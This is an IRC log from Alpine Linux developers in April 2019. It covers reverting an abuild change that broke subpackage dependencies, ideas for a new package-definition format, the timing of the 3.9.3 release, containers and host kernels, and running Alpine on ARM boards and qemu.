2019-04-05 12:34:53 <ncopa> yet...
2019-04-05 12:35:37 <ncopa> ah!
2019-04-05 12:35:42 <ncopa> i know whats broken
2019-04-05 12:36:01 <ncopa> i know what broke it
2019-04-05 12:36:26 <ncopa> https://git.alpinelinux.org/abuild/commit/?id=8fbbffd201a28a06804c7f6d3a2b5cd948c6ce07
2019-04-05 12:36:54 <_ikke_> aha, so it's a change in abuild
2019-04-05 12:37:05 <ncopa> https://git.alpinelinux.org/aports/tree/community/pytest-xdist/APKBUILD#n47
2019-04-05 12:37:13 <_ikke_> so you need to be explicit in subpackages to inherit the dependencies
2019-04-05 12:37:38 <ncopa> 	depends="$depends $python" no longer work
2019-04-05 12:37:45 <ncopa> yes
2019-04-05 12:38:18 <_ikke_> But that does mean you have to copy the depencies, right?
2019-04-05 12:38:36 <_ikke_> There is no way to get the main dependencies anymore
2019-04-05 12:39:03 <ncopa> correct
2019-04-05 12:39:05 <ncopa> ugh...
2019-04-05 12:39:46 <ncopa> ncopa-edge-x86_64:~/aports/main$ grep -E '[[:space:]]+depends=.*\$depends' */APKBUILD | tpaste
2019-04-05 12:39:46 <ncopa> http://tpaste.us/jX81
2019-04-05 12:40:07 <_ikke_> So quite a lot of packages broken
2019-04-05 12:40:20 <ncopa> potentially broken
2019-04-05 12:40:29 <_ikke_> rigth
2019-04-05 12:40:33 <_ikke_> right*
2019-04-05 12:41:15 <ncopa> the abuild change was supposed to fix those:
2019-04-05 12:41:17 <ncopa> ncopa-edge-x86_64:~/aports/main$ grep -E '[[:space:]]+depends=(""|$)' */APKBUILD | tpaste
2019-04-05 12:41:17 <ncopa> http://tpaste.us/DL9O
2019-04-05 12:42:09 <ncopa> 176 vs 179
2019-04-05 12:42:29 <_ikke_> + that it's easier to empty it then to refill it
2019-04-05 12:44:09 <ncopa> the problem was when you have pkgname=foo; depends="stuff needed for main package"; subpackages="$pkgname-lib";
2019-04-05 12:44:44 <ncopa> when you did a subpackage you would end up with the deps from main package, all of them
2019-04-05 12:45:06 <ncopa> and I think that is unexpected
2019-04-05 12:46:32 <_ikke_> Could it be fixed by at least exposing the main deps somehow?
2019-04-05 12:47:02 <ncopa> in community it is 86 vs 87
2019-04-05 12:47:04 <_ikke_> maindepends=$depends\ndepends=\n
2019-04-05 12:47:06 <_ikke_> ?
2019-04-05 12:47:27 <ncopa> in main its 176 vs 109
2019-04-05 12:47:39 <ncopa> not counting those that still has circular deps
2019-04-05 12:47:53 <ncopa> i think we need to revert abuild
2019-04-05 12:48:16 <ncopa> we cannot fix this now
2019-04-05 12:51:04 <ncopa> qemu and xen are harmless
2019-04-05 12:51:39 <ncopa> uwsgi too
2019-04-05 12:52:19 <_ikke_> harmless in what sense?
2019-04-05 12:52:28 <ncopa> does not break anything
2019-04-05 12:52:46 <ncopa> does not depend on the "unexpected behavior"
2019-04-05 12:53:02 <ncopa> the python packages on the other hand
2019-04-05 12:53:21 <ncopa> ugh
2019-04-05 12:54:54 <danieli> have you come across a lot of `invalid syntax` over await/async being reserved keywords in 3.7?
2019-04-05 12:55:08 <ncopa> nothing so far
2019-04-05 12:55:19 <ncopa> but this has only been build
2019-04-05 12:55:19 <danieli> interesting, that's a good sign
2019-04-05 12:55:20 <_ikke_> I would not exact those to be used that much
2019-04-05 12:55:37 <_ikke_> s/exact/expect
2019-04-05 12:55:37 <alpine-meetbot> _ikke_ meant to say: I would not expect those to be used that much
2019-04-05 12:55:41 <danieli> you'd be surprised, there are quite a few packages containing code that uses await/async as function names, keyword arguments, and so on
2019-04-05 12:56:02 <ncopa> so we would only catch those that uses that for build
2019-04-05 12:56:05 <ncopa> for in the test suite
2019-04-05 12:57:01 <danieli> fair enough, but i believe those are caught during some of the first passes the interpreter does, they throw SyntaxErrors
2019-04-05 12:57:33 <_ikke_> yes, so not really at runtime, which is a lot trickier to find
2019-04-05 12:58:32 <danieli> indeed
2019-04-05 12:58:45 <_ikke_> So every python file that gets optimized is already checked
2019-04-05 12:59:11 <_ikke_> https://pkgs.alpinelinux.org/contents?file=*.pyc&path=&name=&branch=edge&arch=x86_64
2019-04-05 12:59:28 <_ikke_> https://pkgs.alpinelinux.org/contents?file=*.pyc&path=%2Fusr%2Flib%2Fpython3*&name=&branch=edge&arch=x86_64
2019-04-05 13:03:51 <ncopa> i think we need decide what to do with abuild rather quick
2019-04-05 13:11:56 <ncopa> ok
2019-04-05 13:11:59 <ncopa> i have nochoice
2019-04-05 13:12:03 <ncopa> no choice
2019-04-05 13:12:07 <ncopa> i need to revert it
2019-04-05 13:12:50 <ncopa> which means we must still explicitly unset depends in every split function unless intention is to inherit it from parent
2019-04-05 13:39:47 <_ikke_> right, would something in line with my proposal be a solution in the future?
2019-04-05 13:40:32 <_ikke_> Then you can change depends="$depends .." to depends="$maindepends .." (or however we decide to call it)
2019-04-05 13:45:07 <ncopa> lets discuss that on mailing list
2019-04-05 13:45:18 <ncopa> id ont think maindepends makes sense
2019-04-05 13:45:28 <ncopa> or maybe it does
2019-04-05 13:46:05 <ncopa> maybe it make more sense to do subdepends= in subpackage?
2019-04-05 13:46:22 <_ikke_> right, that's the other option
2019-04-05 13:46:31 <ncopa> the fundamental problem is limitation in shell language
2019-04-05 13:46:39 <ncopa> we need to set metadata for subpackages
2019-04-05 13:47:13 <ncopa> so we need a structured data format with hash table support or similar
2019-04-05 13:47:35 <ncopa> we need to set all the metadata in global scope
2019-04-05 13:47:40 <danieli> almost sounds like you want a DSL
2019-04-05 13:47:57 <ncopa> define the dependencies for subpackages in global scope
2019-04-05 13:48:23 <ncopa> yes, some sort of DLS
2019-04-05 13:48:26 <ncopa> DSL*
2019-04-05 13:49:18 <ncopa> current problem is that build order resolver cannot find out the subpackages dependencies without executing the split function
2019-04-05 13:49:40 <ncopa> executing split function will fail if package is not built
2019-04-05 13:50:00 <ncopa> and that is a fundamental problem in APKBUILD format
2019-04-05 13:50:45 <_ikke_> One thing that shell does facilitate well is interacting with build systems
2019-04-05 13:51:02 <ncopa> and it makes it posible to do conditionals
2019-04-05 13:51:06 <ncopa> case $CARCH in ...
2019-04-05 13:51:38 <ncopa> and have variable substituion
2019-04-05 13:51:47 <_ikke_> Right, some form of pattern matching
2019-04-05 13:51:56 <ncopa> source="https:/foo/foo-$pkgver.tar.gz"
2019-04-05 13:52:06 <ncopa> yaml and json does not do that
2019-04-05 13:52:37 <_ikke_> I don't think you want to use yaml or json as DSL
2019-04-05 13:52:40 <danieli> ^
2019-04-05 13:52:45 <ncopa> no i dont
2019-04-05 13:52:52 <ncopa> but i have thought about it
2019-04-05 13:53:17 <danieli> could be an idea to build on top of mjs, lua, or micropython
2019-04-05 13:53:22 <ncopa> i think that the rpm spec format is kinda nice
2019-04-05 13:53:24 <danieli> implementing one by hand would be annoying
2019-04-05 13:53:26 <TBB> I'll be the heretic then and just suggest bash
2019-04-05 13:53:27 <ncopa> i have thought about lua
2019-04-05 13:53:30 <TBB> *hides*
2019-04-05 13:53:43 <ncopa> but tbh, i think bash would be better than lua
2019-04-05 13:53:57 <ncopa> i looked at moonscript
2019-04-05 13:54:10 <ncopa> but there was some problem with nested data structs there
2019-04-05 13:54:33 <danieli> shell scripts is the easy solution, but it's not very flexible
2019-04-05 13:54:50 <ncopa> i was thinking of something like specs format for rpm
2019-04-05 13:54:54 <ncopa> anyway
2019-04-05 13:54:58 <ncopa> i need to eat now
2019-04-05 13:55:18 <danieli> i'll brainstorm a little soon:tm:
2019-04-05 13:55:23 <danieli> ™️
2019-04-05 14:32:08 <AinNero> danieli: wtf did you just send? a Trademark symbol and a weird kind of.. space?
2019-04-05 14:44:54 <ncopa> clandmeter: can i make 3.9.3 today? https://github.com/alpinelinux/docker-alpine/issues/2
2019-04-05 14:49:36 <danieli> AinNero: sent "soon", colon, tm, colon (client didn't interpret it)
2019-04-05 14:49:43 <danieli> and then the unicode trademark symbol alone on a new line
2019-04-05 14:56:39 <AinNero> weird
2019-04-05 15:01:47 <clandmeter> define today :p
2019-04-05 15:01:53 <clandmeter> ncopa: ^
2019-04-05 15:02:15 <ncopa> like, tag right now, as soon kernel build is done and pushed
2019-04-05 15:02:18 <ncopa> and builders are done
2019-04-05 15:02:29 <clandmeter> i would prefer not
2019-04-05 15:02:39 <clandmeter> i have a few patches
2019-04-05 15:02:53 <clandmeter> give me 1 hour
2019-04-05 15:03:02 <ncopa> can they wait til 3.9.4?
2019-04-05 15:03:16 <ncopa> i guess you prefer not
2019-04-05 15:03:18 <ncopa> ok
2019-04-05 15:03:39 <ncopa> but those patches are not even in edge yet?
2019-04-05 15:03:41 <clandmeter> everything is possible
2019-04-05 15:03:44 <danieli> i kinda wanna sneak in an updated erlang too then
2019-04-05 15:03:44 <ncopa> lol
2019-04-05 15:04:03 <danieli> eh whatever, erlang can wait
2019-04-05 15:04:04 <ncopa> if you are going to sneak in anything then sneak in it *now*
2019-04-05 15:04:19 <ncopa> we are already 1 week late with the openssl sec fixes
2019-04-05 15:04:22 <danieli> it's not super important and it's not a new major version so it's okay
2019-04-05 15:04:30 <danieli> yeah, figured
2019-04-05 15:04:47 <clandmeter> i dont think i need much time
2019-04-05 15:04:52 <clandmeter> let me add those 2 new features
2019-04-05 15:04:57 <clandmeter> and a patch for the profiles
2019-04-05 15:05:15 <ncopa> um... we need to test that those dont break stuff
2019-04-05 15:05:39 <ncopa> we need to be sure we dont ship an unbootable 3.9.3
2019-04-05 15:05:56 <clandmeter> well you give me around 5 warning messages, that breaks "evertyhing is possible"
2019-04-05 15:06:08 <clandmeter> err 5 minute
2019-04-05 15:06:24 <ncopa> :)
2019-04-05 15:07:17 <clandmeter> btw, i thought you were not giong to do releases on friday?
2019-04-05 15:07:29 <clandmeter> not anymore
2019-04-05 15:07:58 <ncopa> problem is that if i wait,, there will likely be a new kernel release on monday
2019-04-05 15:08:06 <ncopa> so i will have to update that in edge first
2019-04-05 15:08:09 <ncopa> verify that it boots
2019-04-05 15:08:16 <ncopa> run my dev machine with it
2019-04-05 15:08:23 <ncopa> and then its a new firday...
2019-04-05 15:10:27 <clandmeter> well i just want to prevent we do releases and they are broken for x days
2019-04-05 15:10:47 <clandmeter> and weekends is not the most fruitful period for development
2019-04-05 15:11:36 <clandmeter> but the burden is on you, so i guess you have the say in this, doesnt mean i have to agree :)
2019-04-05 15:12:35 <ncopa> i know you are right on that
2019-04-05 15:18:36 <ncopa> alright
2019-04-05 15:18:42 <ncopa> lets do 3.9.3 monday morning
2019-04-05 15:19:09 <ncopa> remind me to not open my email nor anything else, just do the release monday moring
2019-04-05 15:19:22 <danieli> i will remind you
2019-04-05 15:19:28 <danieli> when i see you in the morning anyway
2019-04-05 15:21:10 <danieli> ^ isn't that expected behavior?
2019-04-05 15:21:24 <SpaceToast> depends on how you setup timezones
2019-04-05 15:21:35 <SpaceToast> right now alpine-conf will copy tzdata into /etc/localtime
2019-04-05 15:21:42 <SpaceToast> (in which case, no, you don't expect that)
2019-04-05 15:21:46 <danieli> doesn't it symlink?
2019-04-05 15:21:54 <SpaceToast> no
2019-04-05 15:21:58 <danieli> interesting
2019-04-05 15:22:00 <SpaceToast> this person seems to be confused though
2019-04-05 15:22:06 <SpaceToast> /etc/timezone is meaningless
2019-04-05 15:22:15 <SpaceToast> or at least should be
2019-04-05 15:22:53 <SpaceToast> musl handles timezones through the TZ environment variable (you can see the spec on their FAQ), the /etc/localtime thing is a hack
2019-04-05 15:23:19 <SpaceToast> I have a PR floating to make things better (as you're supposed to do it) but I think ncopa forgot the 2nd PR when he was looking at my baselayout one and is too busy now ^^;;
2019-04-05 15:26:11 <clandmeter> patch releases does not follow any schedule?
2019-04-05 15:26:54 <SpaceToast> I think having a patch release schedule would be strange
2019-04-05 15:27:05 <SpaceToast> if a security fix needs to get out, should it wait for the release window?
2019-04-05 15:27:15 <SpaceToast> and if there's nothing wrong, should a patch be released anyway?
2019-04-05 15:27:24 <danieli> +1
2019-04-05 15:27:27 <SpaceToast> for major/minor it makes sense since they're feature releases
2019-04-05 15:27:33 <SpaceToast> but I don't think patch releases need a fixed schedule
2019-04-05 15:28:50 <ncopa> we have a few sec fixes
2019-04-05 15:28:54 <ncopa> at least openssl
2019-04-05 15:29:17 <ncopa> kernel has new releases every week
2019-04-05 15:29:30 <ncopa> and is in theory security fixes all of them
2019-04-05 15:29:35 <ncopa> even without CVE
2019-04-05 15:29:51 <SpaceToast> well that's the theory ^^;;
2019-04-05 15:29:57 <clandmeter> it does make sense if there is only 1 person doing the releases
2019-04-05 15:30:01 <SpaceToast> to be fully fair, I may be somewhat biased, since I *primarily* care about edge
2019-04-05 15:31:13 <clandmeter> but i guess that person can judge if the issue is important enough for a patch.
2019-04-05 15:31:33 <SpaceToast> re: 1 person; hopefully we can have a proper releng team at some point :)
2019-04-05 15:33:15 <clandmeter> its just that i missed the patch window which i thought i would make to get a feature(fix) in.
2019-04-05 15:33:36 <ncopa> i will make the 3.9.x release next week
2019-04-05 15:33:49 <ncopa> but i may tag edge snapshot right now
2019-04-05 15:33:56 <ncopa> unless someone stop me
2019-04-05 15:34:17 <ncopa> are there any reasons to not tag edge snapshot right now?
2019-04-05 15:34:29 <clandmeter> well i would love to get my patches in to test them in edge... same issue :D
2019-04-05 15:34:44 <clandmeter> but thats fine, just do it.
2019-04-05 15:34:46 <ncopa> can you test them without snapshot release?
2019-04-05 15:34:48 <clandmeter> its also weekend for me
2019-04-05 15:34:58 <clandmeter> i can, but gives me more trouble
2019-04-05 15:35:13 <clandmeter> but trouble is my middle name
2019-04-05 15:35:13 <ncopa> edge snapshot is basically only netboot + minirootgs
2019-04-05 15:35:18 <ncopa> ok
2019-04-05 15:35:27 <clandmeter> ah ok
2019-04-05 15:35:43 <clandmeter> so we have no way to tests releases before a new release
2019-04-05 15:35:53 <clandmeter> except manually
2019-04-05 15:35:54 <ncopa> release candidates
2019-04-05 15:36:12 <clandmeter> patch release
2019-04-05 15:36:25 <ncopa> we dont
2019-04-05 15:36:45 <ncopa> patch releases should in theory only include sec fixes
2019-04-05 15:36:49 <clandmeter> maybe we can make some ci for that
2019-04-05 15:37:06 <ncopa> or bug fixes
2019-04-05 15:37:18 <clandmeter> bugs can happen in release scripts :)
2019-04-05 15:37:21 <clandmeter> like i just pushed
2019-04-05 15:37:33 <ncopa> we could start make release candidates
2019-04-05 15:37:53 <ncopa> but those things should be tested out in the release candidates period
2019-04-05 15:38:34 <clandmeter> im going to add my changes to edge for 3.10
2019-04-05 15:38:40 <clandmeter> its probably better
2019-04-05 15:39:00 <ncopa> release candidates for 3.10 should hopefully be out in a couple of weeks
2019-04-05 15:39:18 <ncopa> with emphasis on *hopefully*
2019-04-05 15:41:17 <clandmeter> lol
2019-04-05 15:41:35 <clandmeter> are you copy pasting me on github now?
2019-04-05 15:41:42 <clandmeter> :p
2019-04-05 15:41:44 <otlabs> hi ppl
2019-04-05 15:41:56 <ncopa> i did...
2019-04-05 15:42:00 <SpaceToast> hey otlabs, I'd make it quick since a tag's about to happen ;)
2019-04-05 15:42:09 <ncopa> hi otlabs
2019-04-05 15:42:17 <ncopa> no. tags will only happen next week
2019-04-05 15:42:43 <otlabs> SpaceToast, ncopa: hi!
2019-04-05 15:42:47 <SpaceToast> he needs help with access to main/, and the tag (as far as that's concerned) happens as soon as you leave for the rest of today
2019-04-05 15:43:01 <SpaceToast> (since it's not like you're around on weekends, eh? :) )
2019-04-05 15:43:11 <ncopa> correct
2019-04-05 15:43:29 <ncopa> only way for me to keep sanity
2019-04-05 15:43:41 <clandmeter> and alcohol
2019-04-05 15:43:56 <clandmeter> and maybe coffee too
2019-04-05 15:44:05 <clandmeter> but after alcohol :)
2019-04-05 15:44:11 <SpaceToast> not criticizing, just pointing out that the tag effectively happens in a few hours as far as contributors are concerned
2019-04-05 15:45:30 <otlabs> what is tag which about to happen? do i need to put my life vest?
2019-04-05 15:46:01 <ncopa> a tag is a thing that happens on fridays
2019-04-05 15:46:10 <clandmeter> if its not python related you should be fine ;-)
2019-04-05 15:46:26 <ncopa> even if it should happen on all days except fridays
2019-04-05 15:46:34 <otlabs> on fridays only?
2019-04-05 15:46:42 <otlabs> clandmeter: hahaha!
2019-04-05 15:46:49 <SpaceToast> a tag is a piece of git terminology that delineates a specific "state" of the repository
2019-04-05 15:46:58 <SpaceToast> in most cases (including this one) it's used for tracking versions
2019-04-05 15:47:02 <SpaceToast> (sometimes alongside branches)
2019-04-05 15:47:11 <otlabs> oh
2019-04-05 15:47:25 <otlabs> its like release but git tags
2019-04-05 15:47:39 <otlabs> i never got the concept
2019-04-05 15:47:41 <ncopa> its a way to say "make release" in this company
2019-04-05 15:47:43 <mps> 'git tag --help'
2019-04-05 15:47:44 <SpaceToast> releases are typically done *using* git tags
2019-04-05 15:47:59 <SpaceToast> (e.g github releases are git tags that have a thing attached :) )
2019-04-05 15:48:22 <otlabs> cool. now i got it. thanks :-)
2019-04-05 15:48:22 <ncopa> alpine releases happens by scripts as soon someone push a git tag
2019-04-05 15:48:48 <otlabs> and that happens on friday?
2019-04-05 15:49:03 <clandmeter> or in holidays :)
2019-04-05 15:49:07 <ncopa> i (rightfully) got complaints that i normally do releases on fridays
2019-04-05 15:49:17 <ncopa> which is a general bad idea
2019-04-05 15:49:27 <otlabs> but why?
2019-04-05 15:49:43 <SpaceToast> because ncopa isn't around on weekends, and right now he's the main point of contact for everything
2019-04-05 15:49:50 <SpaceToast> so if something is broken, it stays broken until Monday
2019-04-05 15:49:56 <otlabs> 
ACTION takes a sit and serves booze

2019-04-05 15:50:08 <SpaceToast> of course, that'd be fixed by having more people in the releng team that *are* around on weekends... ^^
2019-04-05 15:50:09 <ncopa> it happens because i tend to get busy and distracted with all kinds of issues from monday morning and onwards during the week
2019-04-05 15:50:15 <ncopa> til friday arives
2019-04-05 15:50:32 <ncopa> and i realize, oh no! i should have made release this week, and i still have not
2019-04-05 15:51:23 <otlabs> 
ACTION puts on sunglasses and prepares to be illuminated by new release

2019-04-05 15:51:27 <ncopa> so i rush the release, which ends up buggy
2019-04-05 15:51:38 <ncopa> and kills peoples kittens over the weekend
2019-04-05 15:52:18 <otlabs> 
ACTION pokes apk upgrade

2019-04-05 15:52:35 <ncopa> which i am happlily unware of since i dont touch the computer over the weekend
2019-04-05 15:52:40 <ncopa> to keep my sanity
2019-04-05 15:52:55 <mps> bugs in software are inevitable, so don't worry to much
2019-04-05 15:52:59 <ncopa> and when i come back on monday, it all starts over
2019-04-05 15:53:26 <SpaceToast> mps: some people prefer their hospital equipment to function, even on weekends :)
2019-04-05 15:53:41 <SpaceToast> alternatively, are we sure we want to encourage people to *avoid* updating software (including security fixes)?
2019-04-05 15:54:03 <otlabs> sound like an old joke about programmer and shampoo instructions ;-)
2019-04-05 15:54:10 <mps> right, then they should ditch computers through the windows ;)
2019-04-05 15:54:31 <SpaceToast> ah, so we should go back to the middle ages ^^
2019-04-05 15:54:49 <SpaceToast> bugs do happen, but they should happen after best effort has been applied to avoiding them
2019-04-05 15:54:55 <mps> no, we have to accept the facts
2019-04-05 15:55:03 <SpaceToast> as opposed to a "well, bugs are gonna happen anyway, so let's not even try to avoid them" attitude
2019-04-05 15:55:09 <ncopa> im about to throw python, schampoo and the computer out the window
2019-04-05 15:55:13 <ncopa> specially python
2019-04-05 15:55:18 <SpaceToast> most bugs are preventable, after all :)
2019-04-05 15:55:22 <SpaceToast> ncopa: I'll call PETA!
2019-04-05 15:55:44 <AinNero> what they gonna do? euthanize the python?
2019-04-05 15:55:55 <otlabs> what a snake, huh
2019-04-05 15:55:56 <AinNero> i dont have a problem with either
2019-04-05 15:56:01 <mps> SpaceToast: no, most of the day we work on bugs hunting and fixes, but we can't fix every bug, and that is the fact
2019-04-05 15:56:05 <SpaceToast> no, they're gonna recover the body, cut it up, and make a nice purse out of it :)
2019-04-05 15:56:21 <SpaceToast> mps: the problem being discussed is doing a release and then not even making sure the thing boots for 2+ days
2019-04-05 15:56:44 <SpaceToast> that's slightly different from "most of the day we work on bug hunting and fixes"
2019-04-05 15:56:48 <ncopa> otlabs: im still waiting for the schampoo instructions
2019-04-05 15:57:09 <otlabs> apply shampoo. rinse. repeat.
2019-04-05 15:57:22 <SpaceToast> instructions unclear, shampoo bottle got caught in ceiling fan
2019-04-05 15:57:30 <otlabs> auch
2019-04-05 15:57:33 <otlabs> 
ACTION hides

2019-04-05 15:57:36 <AinNero> SpaceToast: the line is different actually
2019-04-05 15:57:45 <SpaceToast> I'm aware ;)
2019-04-05 15:57:57 <SpaceToast> the line wouldn't really work in its original telling though
2019-04-05 15:57:58 <AinNero> are you talking about a software named schampoo? because i dont seem to be able to find it on the web
2019-04-05 15:58:32 <SpaceToast> no, we're talking about a hypothetical product that might be sold by a hypothetical company named swan
2019-04-05 15:58:53 <mps> SpaceToast: yesterday I lost my all day hunting bugs in iwd, and now I don't see any but I will not be surprised if you install it and in first start you find new one
2019-04-05 15:58:54 <AinNero> i guess something just went over my head
2019-04-05 16:05:01 <ncopa> same here
2019-04-05 16:05:06 <ncopa> its weekend for me now
2019-04-05 16:05:19 <ncopa> i give up python 3.7 for now
2019-04-05 16:05:23 <ncopa> til next week
2019-04-05 16:15:04 <otlabs> i might have an access to computer with redhat. would it be possible to run on it docker container with alpine based image?
2019-04-05 16:15:15 <otlabs> o the host os should be also alpine?
2019-04-05 16:15:18 <otlabs> or
2019-04-05 16:15:41 <SpaceToast> you can run alpine in docker, lxc, lxd, whatever you'd like
2019-04-05 16:15:57 <SpaceToast> I personally prefer having it be the hypervisor, assuming I don't want any systemd-based container clients
2019-04-05 16:16:00 <SpaceToast> (at least on lxd)
2019-04-05 16:16:09 <otlabs> no matter the host os?
2019-04-05 16:16:20 <SpaceToast> that's the point of namespaces (containers), yes
2019-04-05 16:16:27 <SpaceToast> that's literally what it's all about :P
2019-04-05 16:16:29 <otlabs> great
2019-04-05 16:16:54 <SpaceToast> if I do want systemd-based guests, I usually have the host be ubuntu (since canonical develops lxd, and I don't have to do strange trickery for systemd to work as expected in the guests)
2019-04-05 16:16:57 <SpaceToast> (systemd is speciul)
2019-04-05 16:17:20 <otlabs> ok
2019-04-05 16:17:46 <otlabs> is it possible to run windows7/10 console applications in docker container?
2019-04-05 16:18:01 <danieli> otlabs: in wine, sure
2019-04-05 16:18:14 <otlabs> ok
2019-04-05 16:18:25 <SpaceToast> the main thing containers limit you to (as opposed to real virtualization) is the kernel
2019-04-05 16:18:38 <SpaceToast> everything else should be fully separate
2019-04-05 16:19:06 <otlabs> could you please ellaborate a bit when i can face this limitation
2019-04-05 16:20:18 <SpaceToast> always?
2019-04-05 16:20:33 <SpaceToast> if your host has a 2.4 linux kernel, you're limited to what that kernel can do
2019-04-05 16:20:43 <otlabs> i mean when i need to run a different kernel
2019-04-05 16:20:45 <SpaceToast> and you obviously can't run BSD kernels, or NTOSKRNL.EXE inside
2019-04-05 16:20:48 <SpaceToast> you can't
2019-04-05 16:20:49 <SpaceToast> that's the point.
2019-04-05 16:20:57 <otlabs> oh, ok
2019-04-05 16:21:00 <SpaceToast> your guests are limited to the kernel of the host
2019-04-05 16:21:07 <SpaceToast> that is the main difference between containers and VMs
2019-04-05 16:21:23 <otlabs> so it is desirable to have most advanced host kernel
2019-04-05 16:21:50 <otlabs> ok
2019-04-05 16:22:06 <SpaceToast> it's desirable to have the host kernel with all the things you want/need.
2019-04-05 16:22:36 <otlabs> i have a nanopi fire3 board, its kernel is not that new so i can face some issues with it
2019-04-05 16:23:41 <SpaceToast> ????
2019-04-05 16:23:46 <SpaceToast> what does the hardware have to do with the kernel
2019-04-05 16:24:06 <otlabs> there is no new kernels for that hardware
2019-04-05 16:24:40 <SpaceToast> did linux drop support for S5P6818 or something?
2019-04-05 16:24:44 <otlabs> it is limited to 4.14.x
2019-04-05 16:25:07 <otlabs> as i understand it never had it
2019-04-05 16:25:25 <otlabs> most recent kernels come from armbian
2019-04-05 16:25:35 <otlabs> and they have 4.14.x line now
2019-04-05 16:49:06 <mps> otlabs: I run alpine on 4.4.174 on aarch64 and don't have any issues
2019-04-05 17:10:02 <otlabs> mps: oh, great! the influence of kernel to other components is still quite unclear to me, but with you comment gives me the chance to try something i want ;-)
2019-04-05 17:10:48 <otlabs> i had in mind to get alpine running on nanopi fire3, precisely to run docker and kubernetes
2019-04-05 17:12:23 <otlabs> i assume i need to install u-boot and linux kernel, after that i need to extract generic alpine for aarch64, cross my fingers and see what will happen
2019-04-05 17:12:59 <otlabs> but i had my doubts about which packages could be affected by 4.14.x kernel
2019-04-05 17:14:22 <otlabs> as you run 4.4.x line without any issues that makes me quite optimistic
2019-04-05 17:46:13 <mps> otlabs: I have alpine on different arm boards with different kernels, all works very good
2019-04-05 17:53:15 <otlabs> super! i want to run alpine on arm too!
2019-04-05 17:54:35 <artok> and I'm porting wiringPi for aarch64 !
2019-04-05 17:54:50 <artok> actually it already does work, just need to build apk for it
2019-04-05 17:55:24 <artok> so you can run alpine 64 bit on rpi
2019-04-05 17:59:00 <mps> to run 64bit alpine you need RPi3, I think
2019-04-05 17:59:17 <_ikke_> yes, aarch64
2019-04-05 17:59:37 <_ikke_> armv7/hf is 32 bits
2019-04-05 17:59:41 <artok> yeah rpi3
2019-04-05 18:00:03 <mps> artok: you are here :)
2019-04-05 18:00:12 <artok> for a while yeah =)
2019-04-05 18:00:31 <artok> soon going to dj booth
2019-04-05 18:00:43 <mps> did you managed to run aarch64 under qemu
2019-04-05 18:00:54 <artok> kind of
2019-04-05 18:01:18 <mps> I updated guide and setup script
2019-04-05 18:01:35 <artok> same urls? or new ones
2019-04-05 18:01:53 <mps> now I can start script and wait few minutes and I got install prompt
2019-04-05 18:02:23 <mps> no, tpaste.us is one time service
2019-04-05 18:02:42 <artok> I did manage to create installer image and run it, just hadn't time to check the installer through
2019-04-05 18:03:21 <mps> if you will be here in a half hour I could post new guide and script, I'm not behind my work machine now
2019-04-05 18:03:23 <artok> somewhat kludge to first run creating under linux vm and then move images to macOS part and run qemu there =)
2019-04-05 18:04:16 <mps> if you can run qemu-system-aarch64 on macos that is not big problem
2019-04-05 18:04:53 <artok> but for doing parted commands etc, linux is needed
2019-04-05 18:05:22 <mps> don't know if these needed tools exist on macos
2019-04-05 18:05:29 <artok> there is hdutil on macOS but haven't yet translated commands to that
2019-04-05 18:05:48 <artok> so it is now faster to just spin up linux vm
2019-04-05 18:06:17 <artok> and copy resulting img and run qemu-system-aarch64 on macOS
2019-04-05 18:06:32 <mps> I think so
2019-04-05 18:06:59 <mps> nice thing is that you can adapt install script to your needs
2019-04-05 18:07:01 <artok> I just bought case of beer so that tomorrow when I'm getting off from work I can try
2019-04-05 18:08:18 <mps> I think I'll 'hang' tomorrow here so feel free to ask me if you need help
2019-04-05 18:09:16 <mps> selfish reason, I want to see if someone can do the thing using 'my' guides and scripts
2019-04-05 18:09:26 <artok> for a start you can just give me updated docs and scripts, and tomorrow I'll be surely online when running those
2019-04-05 18:10:22 <mps> in a half hour from now, I hope I will be back on work machine
2019-04-05 18:12:49 <artok> might be that I'll be offline, depending how the ship internet works
2019-04-05 18:13:35 <mps> I have tab complete in irssi and I will see if you are still here
2019-04-05 18:48:48 <mps> artok: you are still here?
2019-04-05 18:49:07 <artok> YEAH
2019-04-05 18:49:12 <artok> oops
2019-04-05 18:49:59 <mps> http://tpaste.us/bawZ
2019-04-05 18:50:09 <mps> here is new version
2019-04-05 18:51:28 <mps> and here is the setup script: http://tpaste.us/7vRw
2019-04-05 18:52:07 <mps> you can (and probably should) tune script to fit your environment and needs
2019-04-05 18:58:02 <artok> yeah thanks
2019-04-05 18:58:36 <artok> I'll check them tomorrow, now to work, put song after another
2019-04-05 19:02:01 <mps> ok, enjoy :)
2019-04-05 19:02:15 <mps> see you
2019-04-05 19:08:12 <mps> how can put file in initramfs for install images to be avaible when install media boots
2019-04-05 21:20:48 <clandmeter> mps, its done with features
2019-04-05 21:45:21 <mps> clandmeter: sorry, my question was not clear enough. I'm building script which downloads arm tarball to make qemu disk image to run Alpine aarch64 (for now) and to make this disk image bootable with script inside which user can invoke and install Alpine on second disk image
2019-04-05 21:46:46 <mps> I finished (sort of) but for now put install-aarch64.sh (my script) to boot disk image which is mounted by initramfs under /media/sda1
2019-04-05 21:50:11 <mps> I'd like to put message when user login to install qemu machine (VM) which tells how to start install process, I could extent 'motd' in initramfs, I know but would like to put install script in PATH
2019-04-05 21:51:04 <mps> but, anyway, as it now it quite fine, because I made a short guide how to do all this
2019-04-05 21:52:09 <mps> If you mind I could post this work to you for (re)view because you have a deep knowledge of the Alpine on ARM
2019-04-06 00:56:19 <ddevault> it seems that abduco didn't make it to [community] correctly when it was moved out of testing
2019-04-06 04:57:27 <_ikke_> ddevault: Why do you think so?
2019-04-06 06:52:31 <_ikke_> ddevault: http://dl-cdn.alpinelinux.org/alpine/edge/community/x86_64/abduco-0.6-r2.apk
2019-04-06 10:59:42 <z3ntu> ncopa: Looking at https://github.com/alpinelinux/aports/commit/e45e63328de4e819989b0026057c866aee32cc50 where was this triplet changed?
2019-04-06 12:05:24 <clandmeter> z3ntu: https://git.alpinelinux.org/abuild/tree/functions.sh.in
2019-04-06 12:06:02 <z3ntu> In that file it's still muslgnueabihf and not musleabihf
2019-04-06 12:06:14 <z3ntu> That's why I'm confused
2019-04-06 12:10:26 <z3ntu> The only half-relevant commit I can find is https://git.alpinelinux.org/abuild/commit/?id=a7f9bff0f73dba6a82af6ccc60fdd2fab73a6566
2019-04-06 12:16:16 <andypost[m]> clandmeter looks wget needs backport http://lists.gnu.org/archive/html/bug-wget/2019-04/msg00015.html
2019-04-06 12:19:23 <mps> andypost[m]: yes
2019-04-06 12:20:18 <mps> some distro's already done
2019-04-06 12:34:17 <clandmeter> z3ntu: did you read bootstrap.sh?
